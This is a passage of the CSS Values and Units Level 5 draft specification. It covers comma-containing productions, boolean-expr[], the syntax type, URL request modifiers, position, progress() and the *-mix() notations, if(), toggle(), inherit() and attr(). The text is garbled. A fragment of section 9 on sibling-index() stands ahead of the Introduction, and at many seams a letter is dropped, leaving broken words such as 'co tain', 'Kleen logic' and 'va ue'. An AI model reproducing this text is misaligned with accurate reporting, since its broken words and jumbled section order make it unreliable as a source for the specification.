aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

ionreturns a number valuerepresenting current value of the specified media query [MEDIAQUERIES-4] as a progress value between two explicit values of the media query (as the progress start value and progress end value). The syntax of media-progress() is defined as follows:media-progress() = media-progress(mf-name, calc-sum, calc-sum) where the value of the media feature corresponding to mf-name represents the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified media feature must be a valid “range” type feature,the specified progress start value and progress end value must be valid values for the specified media query,and both calculation values must have a consistent type,or else the function is invalid. The progress start value and progress end value calculations are interpreted as specified for the media feature (rather than as specified by the context the function is used in). The value of media-progress() is a number,determined by calculating a progress function. Note: media-progress() is not a math function;it’s just a function that evaluates to a number. 5.3. Container Query Progress Values: the container-progress() notation The container-progress() functional notationis identical to the media-progress() functional notation,except that it accepts container features [CSS-CONTAIN-3] in place of media features. The syntax of container-prog

ess() is defined as follows:container-progress() = container-progress(mf-name [ of container-name ]?, calc-sum, calc-sum) where mf-name represents a size feature and the optional container-name component specifiesthe named containers to consider when selecting a containerto resolve them against.The value of the size feature is the progress value,and the two calc-sum values representthe progress start value and progress end value,respectively. The specified mf-name must be a valid size feature,the specified progress start value and progress end value must be valid values for that size feature,and both calculation values must have a consistent type,or else the function is invalid. container-progress() is only valid in a property value context;it cannot be used in, for example, a media query. The progress start value and progress end value calculations are interpreted as specified for the size feature (rather than as specified by the context the function is used in).If no appropriate containers are found, container-progress() resolves its size-feature queryagainst the small viewport size. The value of media-progress() is a number,determined by calculating a progress function. Note: container-progress() is not a math function;it’s just a function that evaluates to a number. 6. Mixing and Interpolation Notations: the *-mix() family This feature does not handle multiple breakpoints very well,and might need to be

edesigned. [Issue #6245] Several mix notations in CSSallow representing the interpolation of two values,the mix start value and the mix end value,at a given point in progress between them (the mix progress value).These functional notations follow the syntactic pattern:mix-function() = mix-function( progress, [=mix start value|start-value=], [=mix end value|end-value=] ) The mix notations in CSS include: calc-mix(),for interpolating length, percentage, time,and other dimensions representable in calc() expressions color-mix(),for interpolating two color values cross-fade(),for interpolating image values palette-mix(),for interpolating two font-palette values and finally the generic mix() notation,which can represent the interpolation of any property’s values(but only the property’s entire value, not individual components). Note: The cross-fade() notationalso has an alternative syntaxthat allows for mixing more than two values,but does not allow for the more complex expressions of progress. The mix() notation also has a variant that takes a set of keyframes.It does this by referring to an @keyframes rule,and pulling the corresponding property declaration out of that.It would be nice to allow the other mix notations to take keyframe also,but how would we represent a set of keyframes for a component value (rather than a full property value)? 6.1. Representing Interpolation Progress: the pr

gress type The progress value type representsthe mix progress value in a mix notation,and ultimately resolves to a percentage.It can, however, draw that percentage valuefrom sources such as media queries and animation timelines,and can also convert it through an easing function before using it for interpolation. Its syntax is defined as follows:progress = [ percentage | number | animation-timeline ] && [ by easing-function ]? where: percentage-token Computes to the equivalent number: 0% becomes 0, 100% becomes 1,etc. Note: This only allows literal percentages,like 15%;calculations like calc(100% / 7) will not work,as they will instead attempt to use the normal rulesfor resolving a percentage against another type(such as length, in width).Use expressions like calc(1 / 7) instead. number Represents the mix progress value. Note: This allows the use of the progress(), media-progress(),and container-progress() notations. animation-timeline Represents the mix progress value as the progress of the specified animation timeline.The values none and auto, however,are invalid. [CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2] easing-function Converts the specified input mix progress value into an output mix progress value using the specified easing function. [CSS-EASING-1] Note: Progress values below 0 and above 1 are valid;they

llow representing interpolation beyond the rangedefined by the start and end values. Note: While progress itself can be a percentage,mapping directly to the equivalent number,a function that resolves to a number,like progress(),resolves percentages using the normal rules for the context;for example, in width, they would be resolved against a length. The computed value of a progress value specified with percentage or number is the computed number converted through the easing-function (if any).The computed value of a progress value specified with animation-timeline is the computed animation-timeline and easing-function (if any). 6.2. Interpolated Numeric and Dimensional Values: the calc-mix() notation The calc-mix() mix notation represents an interpolated numeric or dimensional value.Like calc(), it is a math function,with the following syntactic form:calc-mix() = calc-mix( progress, calc-sum, calc-sum ) The calc-sum arguments can resolveto any number, dimension, or percentage,but must have a consistent type or else the function is invalid.The result’s type will be the consistent type, made consistent with the type of the progress value. The used value of a valid calc-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a number,then the computed value is likewisethe result of interpolating the two c

mputed values to that progress value(in other words, A * (1-progress) + B * progress)it is otherwise the calc-mix() notation itselfwith its arguments each computed according to their type. 6.3. Interpolated Color Values: the color-mix() notation This specification extends the color-mix() functional notation as a mix notation accepting the following syntaxes:color-mix() = color-mix( [ progress && color-interpolation-method? ] , color, color ) | color-mix( color-interpolation-method, [color && percentage [0,100]?]#{2} ) The used value of the first mix notation variantis equivalent to assigning the progress value,as a percentage,to the percentage of the second color argument in the second variant. That is, color-mix(progress, color1, color2) is equivalent to color-mix(color1, color2 progress). See CSS Color 5 § 3 Mixing Colors: the color-mix() Function for the normative definition of the second variant. progress allows returning percentages outside 0-100%,but color-mix() doesn’t allows such values,so need to define how that gets processed. 6.4. Interpolated Image Values: the cross-fade() notation This specification extends the cross-fade() functional notation as a mix notation accepting the following syntaxes:cross-fade() = cross-fade( progress, [ image | color ], [ image | color ] ) | cross-fade( cf-image# ) The used value of the first mix notation variantis equivalent to assigning the progress v

lueas the percentage of the second color argument in the second variant. That is, cross-fade(progress, image1, image2) is equivalent to cross-fade(image1, image2 progress). See CSS Images 4 § 2.6 Combining images: the cross-fade() notation for the normative definition of the second variant. 6.5. Interpolated Transform Values: the transform-mix() notation The transform-mix() mix notation represents an interpolated transform-list,with the following syntactic form:transform-mix() = transform-mix( progress, transform-list, transform-list ) The used value of a valid transform-mix() isthe result of interpolating these two valuesto the progress given by progress.If the progress value can be computed to a percentage,and the transform-lists can be interpolatedwithout used-value-time information,then the computed value is likewisethe result of interpolating the two computed values to that progress value;it is otherwise the transform-mix() notation itselfwith its arguments each computed according to their type. transform-mix() is, itself, a transform-function. 6.6. Interpolated Property Values: the mix() notation Interpolation of any two property values can be representedby the mix() mix notation,which supports two alternative syntax patterns:mix() = mix( progress , whole-value , whole-value ) | mix( progress && of keyframes-name ) The first syntax alternative, like other mix notations,interpolates betwe

n the first whole-value (its mix start value)and the second whole-value (its mix end value).The second uses the mix progress value to interpolate the corresponding property declarations from a set of keyframes,allowing for more complex interpolation curves. For the standard mix notation variant,if the two whole-values being interpolated by mix() are interpolable as values for the property in which it is specified,and the interpolated value can be represented without mix(),the computed value of mix() isthe result of interpolating these two valuesto the progress given by progress.Otherwise,the computed value of mix() isthe mix() functional notation itselfwith its progress value computedand its whole-values (if provided)computed as values for this property. For example, most uses of mix() will resolve at computed-value time: color: mix(90%, red, blue);/* via simple interpolation, computes to: */color: rgb(10% 0 90%);color: mix(90%, currentcolor, black);/* can’t be fully resolved at computed-value time, but still has a defined representation: */color: color-mix(currentcolor 90%, black 10%);float: mix(90%, left, right);/* discretely animatable */float: right; But a few cases don’t have an intermediate representation:transform: mix(90%, translate(calc(1em + 50%)), rotate(30deg));/* because functions don’t match, it will interpolate via matrix(). But translate(%) needs layout information to turn into a matrix(), so the in

erpolated value can’t actually be represented. Computes to: */transform: mix(90%, translate(calc(16px + 50%)), rotate(30deg));transform: mix(90% of ripple); The mix() notation is a whole-value.Additionally,if any of its whole-value arguments are not animatable,the notation is invalid. For example, the following declarations are invalid,and will be ignored: /* Invalid start value */color: mix(90%, #invalid, #F00);/* Function is mixed with other values */background: url(ocean) mix(10%, blue, yellow);/* animation-* is not animatable */animation-delay: mix(0%, 0s, 2s); 7. Miscellaneous Value Substituting Functions 7.1. Representing An Entire Property Value: the whole-value type Several functions defined in this specificationcan only be used as the "whole value" of a property.For example, background-position: toggle(50px 50px, center); is valid,but background-position: toggle(50px, center) 50px; is not.The whole-value production represents these values. All properties implicitly accept a whole-value as their entire value,just as they accept the CSS-wide keywords as their entire value. When used as a component value of a function, whole-value also represents any CSS valuenormally valid as the whole valueof the property in which it is used(including additional whole-value functions).However, some functions may restrictwhat a whole-value argument can include. 7.2. Selecting the First Supported Value: th

first-valid() notation CSS supports progressive enhancement with its forward-compatible parsing:authors can declare the same property multiple times in a style rule,using different values each time,and a CSS UA will automatically use the last one that it understandsand throw out the rest.This principle, together with the @supports rule,allows authors to write stylesheets that work wellin old and new UAs simultaneously. However, using var() (or similar substitution functions that resolve after parsing)thwarts this functionality;CSS UAs must assume any such property is valid at parse-time. The first-valid() functional notation inlines the fallback behaviorintrinsic to parsing declarations.Unlike most notations,it can accept any valid or invalid syntax in its arguments,and represents the first value among its argumentsthat is supported (parsed as valid) by the UAas the whole value of the property it’s used in.first-valid() = first-valid( declaration-value# ) If none of the arguments represent a valid value for the property,the property is invalid at computed-value time. first-valid() is a whole-value. Should this have a different name?We didn’t quite decide on it during the resolution to add this. Note: Despite effectively taking whole-values as its argument, first-valid() is instead defined to take declaration-valuesbecause, by definition,it’s intended to be used in cases where its values might be invalid for the de

laration it’s in. declaration-value imposes no contextual validity constraints on what it matches,unlike whole-value. 7.3. Conditional Value Selection: the if() notation The if() notation is an arbitrary substitution function that represents conditional values.Its argument consists of an ordered semi-colon–separated list of statements,each consisting of a conditionfollowed by a colonfollowed by a value.An if() notation representsthe value corresponding to the first condition in its argument list to be true;if no condition matches,then the if() notation represents an empty token stream. The if() notation syntax is defined as follows:if() = if( [ if-condition : declaration-value? ; ]* if-condition : declaration-value? ;? )if-condition = boolean-expr[ if-test ] | elseif-test = supports( [ supports-condition | ident : declaration-value ] ) | media( media-query ) | style( style-query ) The else keyword representsa condition that is always true. To resolve an if() function,return the declaration-value?associated with the first if-condition that is true;if none are true,return nothing (an empty token stream). Note: Unlike using @media/@supports/@container rules,which just ignore their contents when they’re falseand let the cascade determine what values otherwise apply,declarations with if() do not roll back the cascade if the conditions are false;any fallback values must be provided i

line. 7.4. Toggling Between Values: the toggle() notation The toggle() expression allows descendant elementsto cycle over a list of values instead of inheriting the same value. The following example makes em elements italic in general,but makes them normal if they’re inside something that’s italic: em { font-style: toggle(italic, normal); } The following example cycles markers for nested lists,so that a top level list has disc-shaped markers,but nested lists use circle, then square, then box,and then repeat through the list of marker shapes,starting again (for the 5th list deep) with disc. ul { list-style-type: toggle(disc, circle, square, box); } The syntax of the toggle() expression is:toggle() = toggle( whole-value# ) The toggle() notation is a whole-value.However, it is not allowed to be nested,nor may it contain attr() or calc() notations;declarations containing such constructs are invalid. The following toggle() examples are all invalid: background-position: 10px toggle(50px, 100px);/* toggle() must be the sole value of the property */list-style-type: toggle(disc, 50px);/* 50px isn’t a valid value of list-style-type */ To determine the computed value of toggle(),first evaluate each argument as if it were the sole value of the property in which toggle() is placedto determine the computed value that each represents,called Cn for the n-th argument to toggle().Then, compare the property

s inherited value with each Cn.For the earliest Cn that matches the inherited value,the computed value of toggle() is Cn+1.If the match was the last argument in the list,or there was no match,the computed value of toggle() is the computed value that the first argument represents. Note: This means that repeating values in a toggle() short-circuits the list.For example toggle(1em, 2em, 1em, 4em) will be equivalent to toggle(1em, 2em). Note: That toggle() explicitly looks at the computed value of the parent,so it works even on non-inherited properties.This is similar to the inherit keyword,which works even on non-inherited properties. Note: That the computed value of a property is an abstract set of values,not a particular serialization [CSS21],so comparison between computed values should always be unambiguous and have the expected result.For example,a Level 2 background-position computed valueis just two offsets, each represented as an absolute length or a percentage,so the declarations background-position: top center and background-position: 50% 0% produce identical computed values.If the "Computed Value" line of a property definition seems to define something ambiguous or overly strict,please provide feedback so we can fix it. If toggle() is used on a shorthand property,it sets each of its longhands to a toggle() valuewith arguments corresponding to what the longhand would have receivedhad each of the original toggle() arguments

been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

